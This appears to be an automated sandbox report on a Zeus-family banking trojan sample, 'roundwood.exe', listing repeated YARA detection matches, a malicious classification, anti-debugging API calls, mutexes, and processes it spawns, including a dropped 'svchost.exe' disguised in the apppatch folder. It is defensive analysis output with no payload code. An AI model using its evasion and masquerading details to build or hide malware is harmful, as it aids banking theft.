Source: 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2478689860.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2450971544.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2510195177.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3273788686.0000000002D63000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2508233599.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2498994285.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.3060188818.0000000002DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2474596414.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001B.00000002.2477343804.0000000002DA0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3272240736.00000000028C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000000F.00000002.2451052390.0000000000960000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2039049974.000000000088E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000024.00000002.2535425288.00000000028C0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: roundwood.exe PID: 5852, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: svchost.exe PID: 5284, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 4268, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 4672, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 6980, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 6300, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 6648, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 5168, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 5616, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 2672, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 3436, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 4764, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 3656, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 4460, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 2212, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 2180, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 4444, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: roundwood.exeStatic PE information: Section: .data ZLIB complexity 0.9971580276946108
Source: svchost.exe.0.drStatic PE information: Section: .data ZLIB complexity 0.9971580276946108
Source: classification engineClassification label: mal100.bank.troj.spyw.expl.evad.winEXE@130/42@1708/26
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00401000 IsDebuggerPresent,FindWindowA,memset,CreateToolhelp32Snapshot,Process32First,StrStrIA,Process32Next,StrStrIA,Process32Next,GetHandleInformation,FindCloseChangeNotification,PathFileExistsA,0_2_00401000
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00402660 CoInitializeEx,GetModuleFileNameW,SysAllocString,SysAllocString,SysAllocString,CoCreateInstance,CoCreateInstance,CoCreateInstance,SysFreeString,SysFreeString,SysFreeString,CoUninitialize,0_2_00402660
Source: C:\Windows\apppatch\svchost.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\login[1].htmJump to behavior
Source: C:\Windows\apppatch\svchost.exeMutant created: \Sessions\1\BaseNamedObjects\Global\A3B7F9B4a
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \BaseNamedObjects\Local\SM0:8164:64:WilError_03
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeMutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6980
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \BaseNamedObjects\Local\SM0:6756:64:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \BaseNamedObjects\Local\SM0:356:64:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \BaseNamedObjects\Local\SM0:1860:64:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4672
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4268
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6300
Source: C:\Users\user\Desktop\roundwood.exeFile created: C:\Users\user\AppData\Local\Temp\3A31.tmpJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: roundwood.exeReversingLabs: Detection: 89%
Source: roundwood.exeString found in binary or memory: -help
Source: svchost.exeString found in binary or memory: -help
Source: C:\Users\user\Desktop\roundwood.exeFile read: C:\Users\user\Desktop\roundwood.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\roundwood.exe "C:\Users\user\Desktop\roundwood.exe"
Source: C:\Users\user\Desktop\roundwood.exeProcess created: C:\Windows\apppatch\svchost.exe "C:\Windows\apppatch\svchost.exe"
Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4268 -ip 4268
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 984
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4672 -ip 4672
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4672 -s 708
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6980 -ip 6980
Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6980 -s 976
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6300 -ip 6300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6300 -s 744
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 6648 -ip 6648
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5168 -ip 5168
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5616 -ip 5616
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2672 -ip 2672
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3436 -ip 3436
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 4764 -ip 4764
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3656 -ip 3656
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4460 -ip 4460
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2180 -ip 2180
Source: C:\Users\user\Desktop\roundwood.exeProcess created: C:\Windows\apppatch\svchost.exe "C:\Windows\apppatch\svchost.exe"Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4268 -ip 4268Jump to behavior
